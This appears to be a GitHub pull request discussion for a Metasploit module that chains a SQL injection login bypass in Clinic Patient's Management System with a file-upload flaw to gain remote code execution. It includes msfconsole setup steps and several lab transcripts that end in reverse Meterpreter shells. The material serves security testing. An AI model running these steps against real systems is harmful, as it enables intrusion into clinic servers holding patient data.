Clinic Patient's Management System SQLi (CVE-2025-3096)

[msutovsky-r7]

Vulnerable Application

Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

Verification Steps

Vulnerable Application Installation Setup

1. Install Clinic's Patient Management System on your web server.

   • Download the Web Application from here

2. Start msfconsole and load the exploit module:

   msfconsole
   use exploit/multi/http/clinic_pms_sqli_to_rce

3. Set the required options:

   set rport <port>
   set rhost <ip>
   set targeturi /pms

4. Check if the target is vulnerable:

   check

If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:

   [+] <IP> The target is vulnerable.

5. Set up the listener for the exploit:

   set lport <port>
   set lhost <ip>

6. Launch the exploit:

   exploit

7. If successful, you will receive a PHP Meterpreter shell.

Options

• TARGETURI: (Required) The base path to the Clinic Patient Management System (default: /pms).

Scenarios

msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux

[jvoisin]

Is this software used/deployed in the real world™?

[msutovsky-r7]

Is this software used/deployed in the real world™?

I don't think so, there's no results on Shodan. But there seems to be some "user" activity at source site.

[jheysel-r7]

Great module @msutovsky-r7! A couple minor comments.

Testing

msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Reporting vulnerability
[*] Sending stage (40004 bytes) to 172.16.199.134
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.134:36072) at 

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.8.0-59-generic #61~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:03:15 UTC 2 x86_64
Meterpreter : php/linux
meterpreter >

[jheysel-r7]

Thanks for making all those changes @msutovsky-r7! Working as expected 👍

msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > set targeturi /clinic-pms/pms/
targeturi => /clinic-pms/pms/
msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > set rhost 172.16.199.134
rhost => 172.16.199.134
msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if target is vulnerable...
[+] The target appears to be vulnerable. Clinic PMS detected
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Reporting vulnerability
[*] Sending stage (40004 bytes) to 172.16.199.134
[+] Deleted 1747841934yfqXXZYq.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.134:35942) at 2025-05-21 08:38:55 -0700

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.8.0-59-generic #61~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:03:15 UTC 2 x86_64
Meterpreter : php/linux
meterpreter >

[jheysel-r7]

Release Notes

Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.